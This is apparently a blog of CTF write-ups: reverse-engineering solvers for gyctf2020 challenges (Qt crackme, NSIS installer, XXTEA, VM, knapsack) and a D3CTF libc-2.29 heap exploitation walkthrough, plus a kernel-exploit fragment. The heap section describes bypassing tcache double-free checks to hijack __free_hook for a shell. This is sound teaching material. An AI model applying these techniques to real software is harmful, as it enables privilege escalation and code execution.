r[i++] = user_sp;
r[i++] = user_ss;
copyfrom((char *)r);
return 1;
}
getshell会失败,原因不明,于是改成了`getuid`为root后orw flag. exp中由于自己内联写的syscall,需要处理好环境的一些问题,比如栈balabala.. `gcc -static -nostdlib babyhacker_tiny.c -o tinyexp`生成的tinyexp大小缩小为11KB(858K),缩小 近80倍...

1
2
~/C/2/x/babyhacker-pwn >> ls -lah tinyexp                                                                   ✘ 2
-rwxr-xr-x 1 tac tac 11K 3月 18 18:17 tinyexp
over. 还是用musl-gcc比较方便,生成的exp会比较小巧

gyctf2020

image-20251122131928705

吃鸡神器

QT程序,详细分析了一下,通过字符串引用找到了failed_dialog slot函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall sub_401E00(int a1)
{
int v1; // esi
volatile signed __int32 *v2; // eax
signed __int32 v3; // et0
volatile signed __int32 *v4; // eax
signed __int32 v5; // et0
int v7; // [esp-8h] [ebp-50h]
int v8; // [esp-4h] [ebp-4Ch]
int v9; // [esp+1Ch] [ebp-2Ch]
volatile signed __int32 *v10[7]; // [esp+2Ch] [ebp-1Ch]

v1 = a1;
v9 = *(_DWORD *)(*(_DWORD *)(a1 + 24) + 4);
ZNK11QMetaObject2trEPKcS1_i(v10, &dword_405008);
ZN6QLabel7setTextERK7QString(v9, v10, v7, v8);
v2 = v10[0];
if ( !*v10[0] || *v10[0] != -1 && (v3 = _InterlockedSub(v10[0], 1u), v2 = v10[0], !v3) )
ZN10QArrayData10deallocateEPS_jj(v2, 2, 4);
ZNK11QMetaObject2trEPKcS1_i(v10, &dword_405008);
ZN7QWidget14setWindowTitleERK7QString(v1, v10);
v4 = v10[0];
if ( !*v10[0] || *v10[0] != -1 && (v5 = _InterlockedSub(v10[0], 1u), v4 = v10[0], !v5) )
ZN10QArrayData10deallocateEPS_jj(v4, 2, 4);
return ZN7QWidget4showEv(v1);
}

通过槽函数的交叉应用,找到了Qt程序的singal to slot的func, 类似qt_static_metacall,
以active函数照猫画虎共找到3个Qt signal 与 slot, 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
v96 = sub_402150;
v97 = 0;
v94 = ZN15QAbstractButton7clickedEb;
v54 = (_DWORD *)Znwj(16, v70);
v55 = v96;
v94 = ZN15QAbstractButton7clickedEb;
v54 = (_DWORD *)Znwj(16, v70);
v55 = v96;
*v54 = 1;
v54[1] = sub_404A20;
v54[2] = v55;
v54[3] = v97;
ZN7QObject11connectImplEPKS_PPvS1_S3_PN9QtPrivate15QSlotObjectBaseEN2Qt14ConnectionTypeEPKiPK11QMetaObject(v75);
ZN11QMetaObject10ConnectionD1Ev(v75);
v98 = sub_403240;
v99 = 0;
v100 = welcom_dialog;
v101 = 0;
v56 = (_DWORD *)Znwj(16, v53);
v57 = v100;
*v56 = 1;
v56[1] = sub_404910;
v56[2] = v57;
v56[3] = v101;
ZN7QObject11connectImplEPKS_PPvS1_S3_PN9QtPrivate15QSlotObjectBaseEN2Qt14ConnectionTypeEPKiPK11QMetaObject(v76);
ZN11QMetaObject10ConnectionD1Ev(v76);
v102 = sub_403210;
v103 = 0;
v104 = failed_dialog;
v105 = 0;
v58 = (_DWORD *)Znwj(16, v74);
v59 = v104;
*v58 = 1;
v58[1] = sub_4049A0;
v58[2] = v59;
v58[3] = v105;
ZN7QObject11connectImplEPKS_PPvS1_S3_PN9QtPrivate15QSlotObjectBaseEN2Qt14ConnectionTypeEPKiPK11QMetaObject(v77);
return ZN11QMetaObject10ConnectionD1Ev(v77);

其中一个是failed_dialog,另一个是welcom_dialog,另一个sub_0x402150就应该是check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall sub_402150(_DWORD *a1)
{
_DWORD *v1; // ebx
int v2; // esi
volatile signed __int32 *v3; // eax
int v4; // edx
volatile signed __int32 *v5; // eax
int v6; // edx
int v7; // edi
int result; // eax
_DWORD v9[4]; // [esp+24h] [ebp-10h]

v1 = a1;
v2 = (int)(a1 + 6);
ZNK9QLineEdit4textEv(v9, *(_DWORD *)(a1[9] + 4));
v4 = v9[0];
v9[0] = v1[6];
v3 = (volatile signed __int32 *)v9[0];
v1[6] = v4;
if ( !*v3 || *v3 != -1 && !_InterlockedSub(v3, 1u) )
ZN10QArrayData10deallocateEPS_jj(v9[0], 2, 4);
ZNK9QLineEdit4textEv(v9, *(_DWORD *)(v1[9] + 8));
v6 = v9[0];
v9[0] = v1[7];
v5 = (volatile signed __int32 *)v9[0];
v1[7] = v6;
if ( !*v5 || *v5 != -1 && !_InterlockedSub(v5, 1u) )
ZN10QArrayData10deallocateEPS_jj(v9[0], 2, 4);
v7 = sub_401FB0(v1 + 7);
if ( v7 == sub_402090(v2) )
{
sub_403240(v2);
result = 1;
}
else
{
sub_403210((int)v1);
result = 0;
}
return result;
}

ZNK9QLineEdit4textEv方法分别取username和passord的字符串
在sub_401Fb0对password简单编码后在sub_004021D8:cmp edi, eax进行明文比较
已知username是liubenwei,直接在sub_004021D8下断点,eax极为密码

flag{41d26f0}

奇怪的安装包

NSIS脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
  Dialogs::InputBox 1 请输入key "Input your key" 确定 取消 4 6
; Call Initialize_____Plugins
; SetOverwrite off
; File $PLUGINSDIR\Dialogs.dll
; SetDetailsPrint lastused
; Push 6
; Push 4
; Push 取消
; Push 确定
; Push "Input your key"
; Push 请输入key
; Push 1
; CallInstDLL $PLUGINSDIR\Dialogs.dll InputBox
DetailPrint "Checking...: $6"
IntCmp $4 1 0 label_415 label_415
StrCmp $6 NSIISSOEASY 0 label_415
MessageBox MB_OK key正确
Dialogs::InputBox 1 请输入flag "Input your flag" 确定 取消 4 6
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\Dialogs.dll
; SetDetailsPrint lastused
; Push 6
; Push 4
; Push 取消
; Push 确定
; Push "Input your flag"
; Push 请输入flag
; Push 1
; CallInstDLL $PLUGINSDIR\Dialogs.dll InputBox
IntCmp $4 1 0 label_415 label_415
Push $6
Call func_429
Pop $6
StrCpy $3 gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|
StrCmp $3 $6 0 label_417
MessageBox MB_OK flag正确,可以愉快的玩游戏了
Goto label_419
label_415:
MessageBox MB_OK 错误的key
MessageBox MB_OK 想办法找到正确的key把
label_417:
MessageBox MB_OK flag错误
MessageBox MB_OK 想办法找到正确的flag把
label_419:
SectionEnd

Function func_429
Pop $9
StrCpy $3 ""
StrCpy $0 $9
StrCpy $1 0
label_433:
StrCpy $2 $0 1 $1
StrCmp $2 "" label_443
Push $2
Call func_445
Pop $2
IntOp $2 $2 ^ 1
IntFmt $2 %c $2
IntOp $1 $1 + 1
StrCpy $3 $3$2
Goto label_433
label_443:
Push $3
FunctionEnd


Function func_445
Exch $0
Push $1
Push $2
StrCpy $2 1
label_451:
IntFmt $1 %c $2
StrCmpS $1 $0 0 label_455
StrCpy $0 $2
Goto label_458
label_455:
IntOp $2 $2 + 1
StrCmp $2 255 0 label_451
StrCpy $0 0
label_458:
Pop $2
Pop $1
Exch $0
FunctionEnd

key: NSIISSOEASY

flag:

1
2
3
4
5
6
7
a = bytearray(b'gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|')
flag = ''
for it in a:
flag+= chr(it^1)
print(flag)

# flag{e696a6cc-f63e-483c-9af0-bf87902d9eaa}

Code2

算法主要在sub_13F661890中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ( dword_13F665628 > 0 )
{
v2 = Buffer;
v3 = (unsigned int)dword_13F665628;
do
{
v4 = 0;
v5 = 0i64;
while ( *v2 != *(_BYTE *)(v5 + 0x13F6658E0i64) )
{
++v4;
++v5;
if ( v4 >= 6 )
goto LABEL_8;
}
v6 = v1;
v1 = v1 * *((float *)&xmmword_13F665850 + v5);
v0 = v0 + (float)(v6 * *((float *)&xmmword_13F6657C0 + v5));
LABEL_8:
++v2;
--v3;
}
while ( v3 );
}
if ( fabs(v0 - 0.129556) > 0.000001 )
{
printf("you are wrong!");
exit(0);
}

输入限制在6ba879 6个字符中,长度不限制,float IEEE754很恼人,只能采取爆破,发现长度9位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
#-*- coding: utf-8 -*-

from itertools import *
import math
import struct

# 8ab86b897
# flag{8ab86897-25c9-811a-ce9a-18547ae6801e}
s = "8ab697"

x =[0x3EAAAAAB,0x3DE38E39,0x3E638E39,0x3DE38E39,0x3DE38E39,0x3DE38E39,0,0,0,0,0]
y =[0,0x3EAAAAAB,0x3EE38E39,0x3F2AAAAB,0x3F471C72,0x3F638E39,0,0,0,0,0,0]

xmm = [struct.unpack('<f',struct.pack('<I',i))[0] for i in x]
ymm = [struct.unpack('<f',struct.pack('<I',i))[0] for i in y]
# print(xmm,ymm)

sns = list(product(s,repeat=9))

def en(sn):
v2 = 0
v3 = len(sn)
# print(v3)
v0 = 0.0
v1 = 1.0
while v3:
v4 = 0
v5 = 0
# print(sn[v2],s[v5])
while sn[v2] != s[v5]:
v4 = v4+1
v5 = v5+1
if v4 >= 6:
break
if v4 < 6:
v6 = v1
v1 = v1 * xmm[v5]
v0 = v0 + (v6 * ymm[v5])
v2 = v2+1
v3 = v3-1
return v0

for idx,sn in enumerate(sns):
sn = ''.join(sn)
res = en(sn)
if math.fabs(res - 0.129556) < 0.000001:
print(sn)

最终爆破出5个密码,依次尝试发现8ab86b897会爆出flag
将后面流程也简单分析了下:
用sn作为XXTEA算法的密钥,后补'\0'扩展到0x10 byte
解base64的字符串tiDBHSFrQBlPMzOozx7sQWbo77GjGFH/F4EqZ8R6HuLyb+OQn9pfSCW49GWWRD3b
进行tea解密,最终解密得到flag,其他几个密钥会解出null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// code2 ./foo
// flag{8ab86897-25c9-811a-ce9a-18547ae6801e}
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <stdio.h>
#include <error.h>
#include <unistd.h>
#include <string.h>
#include <xxtea.h>

int base64_encode(char *in_str, int in_len, char *out_str)
{
BIO *b64, *bio;
BUF_MEM *bptr = NULL;
size_t size = 0;

if (in_str == NULL || out_str == NULL)
return -1;

b64 = BIO_new(BIO_f_base64());
bio = BIO_new(BIO_s_mem());
bio = BIO_push(b64, bio);

BIO_write(bio, in_str, in_len);
BIO_flush(bio);

BIO_get_mem_ptr(bio, &bptr);
memcpy(out_str, bptr->data, bptr->length);
out_str[bptr->length] = '\0';
size = bptr->length;

BIO_free_all(bio);
return size;
}

int base64_decode(char *in_str, int in_len, char *out_str)
{
BIO *b64, *bio;
BUF_MEM *bptr = NULL;
int counts;
int size = 0;

if (in_str == NULL || out_str == NULL)
return -1;

b64 = BIO_new(BIO_f_base64());
BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL);

bio = BIO_new_mem_buf(in_str, in_len);
bio = BIO_push(b64, bio);

size = BIO_read(bio, out_str, in_len);
out_str[size] = '\0';

BIO_free_all(bio);
return size;
}

int main(){
char text[] = "tiDBHSFrQBlPMzOozx7sQWbo77GjGFH/F4EqZ8R6HuLyb+OQn9pfSCW49GWWRD3b";
char chiper[0x100] = {0};
char key[0x10] = "8ab86b897\0\0\0\0\0\0\0";
size_t l = 0;
base64_decode(text,strlen(text),chiper);
char* plain= xxtea_decrypt(chiper,strlen(chiper),key,&l);
if(plain==NULL)
perror("Failure!\n");
else
printf("%s\n",plain);
return 0;
}

EasyVM

简单的VM,直接angr可以解出来:

1
2
3
4
5
6
7
8
9
10
11
12
#/usr/bin/env python3
#-*- coding: utf-8 -*-
import angr

proj = angr.Project('./EasyVM')

st = proj.factory.entry_state()
sm = proj.factory.simulation_manager(st)
sm.explore(find=0x400b73,avoid=0x400b81)

print(sm.found[0].posix.dumps(0))
# flag{vm_is_not_easy}

也可以手撸VM code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import codecs
import pickle

pc =[0x00000001,0x00000065,0x00000000, 0x00000001,
0x00000066,0x000000DC,0x00000002, 0x00000065,
0x00000066,0x00000001,0x00000000, 0x00000065,
0x00000001,0x00000065,0x00000001, 0x00000003,
0x00000065,0x00000000,0x00000001, 0x00000001,
0x00000065,0x00000001,0x00000066, 0x00000001,
0x00000001,0x00000065,0x00000002, 0x00000002,
0x00000065,0x00000066,0x00000005, 0x00000065,
0x00000005,0x00000065,0x00000001, 0x00000002,
0x00000065,0x00000002,0x00000003, 0x00000000,
0x00000002,0x00000003,0x00000002, 0x00000005,
0x00000004,0x00000004,0x00000004, 0x000000D7,
0x00000001,0x00000066,0x00000005, 0x00000001,
0x00000065,0x000000E6,0x00000004, 0x00000066,
0x00000065,0x00000001,0x00000005, 0x00000066,
0x00000006,0x00000006,0x00000006, 0x00000006,
0x00000001,0x00000065,0x00000000, 0x00000002,
0x00000007,0x00000065,0x00000003, 0x00000008,
0x000000E6,0x00000004,0x00000009, 0x000000D2,
0x00000001,0x00000065,0x0000000A, 0x00000001,
0x00000066,0x00000009,0x00000003, 0x00000065,
0x00000066,0x00000001,0x0000000A, 0x00000065,
0x00000006,0x0000000B,0x00000005, 0x0000000B,
0x00000006,0x0000000C,0x00000003, 0x0000000C,
0x0000000C,0x00000001,0x00000065, 0x0000000D,
0x00000001,0x00000066,0x0000000E, 0x00000003,
0x00000066,0x00000065,0x00000001, 0x0000000E,
0x00000066,0x00000003,0x00000065, 0x00000066,
0x00000001,0x0000000D,0x00000065, 0x00000001,
0x00000065,0x0000000F,0x00000001, 0x00000066,
0x00000010,0x00000003,0x00000066, 0x00000065,
0x00000001,0x00000010,0x00000066, 0x00000004,
0x00000066,0x00000065,0x00000001, 0x0000000F,
0x00000066,0x00000006,0x00000011, 0x00000006,
0x00000011,0x00000004,0x00000012, 0x000000F0,
0x00000004,0x00000012,0x000000F0, 0x000000FF
]

def getpoint(i):
if i==0x65:
return "r1"
elif i==0x66:
return "r2"
else:
return "s[%d]"%i

def parser():
opcode = ""
operand = []

i = 0
while pc[i]!=0xFF:
opcode = ""
operand = []

if pc[i] == 1:
opcode = 'mov'
operand.append(getpoint(pc[i+1]))
if pc[i+2]<=0xc7:
operand.append(getpoint(pc[i+2]))
else:
operand.append(hex(pc[i+2]+0x38))
i=i+3
elif pc[i] ==2:
opcode = 'xor'
operand.append(getpoint(pc[i+1]))
if pc[i+2]<=0xc7:
operand.append(getpoint(pc[i+2]))
else:
operand.append(hex(pc[i+2]+0x38))
i=i+3
elif pc[i] ==3:
opcode = 'add'
operand.append(getpoint(pc[i+1]))
if pc[i+2]<=0xc7:
operand.append(getpoint(pc[i+2]))
else:
operand.append(hex(pc[i+2]+0x38))
i=i+3
elif pc[i] == 4:
opcode = 'sub'
operand.append(getpoint(pc[i+1]))
if pc[i+2]<=0xc7:
operand.append(getpoint(pc[i+2]))
else:
operand.append(hex(pc[i+2]+0x38))
i=i+3
elif pc[i] ==5:
opcode = 'inc'
operand.append(getpoint(pc[i+1]))
i=i+2
elif pc[i] ==6:
opcode = 'dec'
operand.append(getpoint(pc[i+1]))
i=i+2
else:
opcode = "nop"
i=i+1

print(opcode,end=" ")
for op in operand:
print(op,end=" ")
print("")

parser()

解出来的opcodes如下

根据这个1byte/byte可以解出来flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
mov r1 s[0]
mov r2 0x114
xor r1 r2
mov s[0] r1
mov r1 s[1]
add r1 s[0]
mov s[1] r1
mov r2 s[1]
mov r1 s[2]
xor r1 r2
inc r1
inc r1
mov s[2] r1
xor s[3] s[0]
xor s[3] s[2]
inc s[4]
sub s[4] 0x10f
mov r2 s[5]
mov r1 0x11e
sub r2 r1
mov s[5] r2
dec s[6]
dec s[6]
mov r1 s[0]
xor s[7] r1
add s[8] 0x11e
sub s[9] 0x10a
mov r1 s[10]
mov r2 s[9]
add r1 r2
mov s[10] r1
dec s[11]
inc s[11]
dec s[12]
add s[12] s[12]
mov r1 s[13]
mov r2 s[14]
add r2 r1
mov s[14] r2
add r1 r2
mov s[13] r1
mov r1 s[15]
mov r2 s[16]
add r2 r1
mov s[16] r2
sub r2 r1
mov s[15] r2
dec s[17]
dec s[17]
sub s[18] 0x128
sub s[18] 0x128

babymac-re

看起来像是01背包问题,但好在数据量比较小,爆破可解,为了速度试用go写了一个爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package main

import(
"fmt"
"strconv"
)

var a = []uint64{1145141919810, 11451419198005, 88175927824097, 59547379826567, 85885643980259, 111078766210607, 34354257570550, 4580567632918, 4580567587375, 56111953885801, 73289082498024, 6870850780444, 17177127320052, 73289079912751, 4580561769860, 75579354889270, 65273065791251, 13741655762243, 54966717600097, 104207725601353, 112223529937564, 40079210785300, 96190408447959, 27480380444247, 106492147280229, 56099851547153, 44636329825478, 101869220767707, 41128288922888, 67369732888265, 11064138437126, 26708844553169}
var b = []uint64{0x30970372813D2,0x2D3A89BCA52AC,0x31551E79154A2,0x2C522E9A5298A,0x2A61367C5C698,0x264491C01CAFD,0x26CA3A06C98B3,0x2DACBD12FB903,0x2E470707574E1,0x309E5DC39A9A7}

func en(d uint64) uint64{
var res uint64
res = 0
for i:=0;i<32;i++{
res += a[31-i]*(d&1)
d = d>>1
}
return res
}

func brute(i int){
for a1:=0x20;a1<=0x7F;a1++{
for a2:=0x20;a2<=0x7F;a2++{
for a3:=0x20;a3<=0x7F;a3++{
for a4:=0x20;a4<=0x7F;a4++{
dst := fmt.Sprintf("0x%x%x%x%x", a1,a2,a3,a4)
d,err := strconv.ParseUint(dst, 0, 32)
if err!=nil{
panic(err)
}
if en(d) == b[i]{
fmt.Printf("%s",string(a4)+string(a3)+string(a2)+string(a1))
return
}
}
}
}
}
}

// flag{m3Rkl3_h3LLMaN_KNaPsacK_Al90R17Hm!}
func main(){
num := len(b)
for i:=0;i<num;i++{
brute(i)
}
}

2019 D3CTF

image-20251122134457377

new_heap

A really cumbersome heap pwn and got only 2 solved at last.

The vulnerabilities is easy to dig out. An obvious “use after free” in free procedure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall sub_B42(__int64 a1, __int64 a2)
{
int idx; // [rsp+Ch] [rbp-4h]

printf("index:", a2);
idx = input_int();
if ( idx < 0 || idx > 17 )
{
puts("index out of range");
exit(0);
}
free((void *)note[idx]);
return puts("done");
}

However, there are no mehods for editing or showing. Worse still, our operations is limited to 18 times and chunksize must less than 0x78 (fastbin/tache).

1
2
3
4
5
6
7
if ( result <= 0x78 )
{
note[idx] = (__int64)malloc(result);
printf("content:");
read(0, (void *)note[idx], (unsigned int)size);
result = puts("done");
}

Ok, the idea is simple, no showing or editing methods means we must construct a freed fake FD pointer manually, first write _IO_2_1_stdout for leaking and later write __free_hook for executing system("/bin/sh"). So the keypoint is to cause chunk overlapping.

Before that, notice there a getchar in main function without setbuf(stdin,0).

1
2
3
4
5
6
7
if ( v3 == 3 )
{
a1 = (__int64)"sure?";
puts("sure?");
if ( getchar() == 'y' )
exit(0);
}

As a result, putchar wil invoke functions to create a large buffer in main_arena heap, and call malloc_consolidate to merge fastbins.

Let me talk about potential ideas behind:

  1. double free is impossible, libc-2.29 have added accurate detections for heap exploiting, so the technique such as tcache dup, house of atum are useless.
  2. because of the limitations on user’s operation, traditional unlink or small-bin attack, like the similar solutions of lazyhouse may be exhaust the opportunities.
  3. we can use the traditional fastbin attack but the number limitations is really annoying.
  4. The existence of getchar hint that we must fill tache list to allocate fastbin for using it.

My solution is straight and has a little different with house of atum because of the double tcache check.

However, fastbins only limit the FastbinY[i] cannot repeat, it inspired me.

Frist, normal free to obtain a fastbin like that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x55ce37e24680 --> 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55ce37e24700 (size : 0x20900)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x80) tcache_entry[6](7): 0x55ce37e24610 --> 0x55ce37e24590 --> 0x55ce37e24510 --> 0x55ce37e243e0 --> 0x55ce37e24360 --> 0x55ce37e242e0 --> 0x55ce37e24260

Then, we can simply malloc(0x78) allocated 0x55ce37e24610 and free 0x55ce37e24680 again, like behind.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x5646dc407680 --> 0x5646dc407590 (size error (0x5646dc407010)) --> 0x6161616161616161 (invaild memory)
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5646dc407700 (size : 0x20900)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x80) tcache_entry[6](7): 0x5646dc407690 (overlap chunk with 0x5646dc407680(freed) )

That’s the point, freed 0x55ce37e24680 chunk will insert in the head of tcache_entry and do not check the chunks behind. That’s to say we can bypass the double tcache check. Like the same effect with house of atum, fastbin chunk’s next points will point to the next tcache. Now we get a large chunk(>0x400) via putchar will let them into unsortedbin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55ce37e25690 (size : 0x1f970)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x080) smallbin[ 6]: 0x55ce37e24430
(0x80) tcache_entry[6](6): 0x55ce37e24590 --> 0x55ce37e24510 --> 0x55ce37e243e0 (overlap chunk with 0x55ce37e24430(freed) )

Next steps are inside, we can reuse unsorted bin for chunk overlapping and brute force to leak libc and getshell. In the process, be careful about the limitation on the chunk numbers.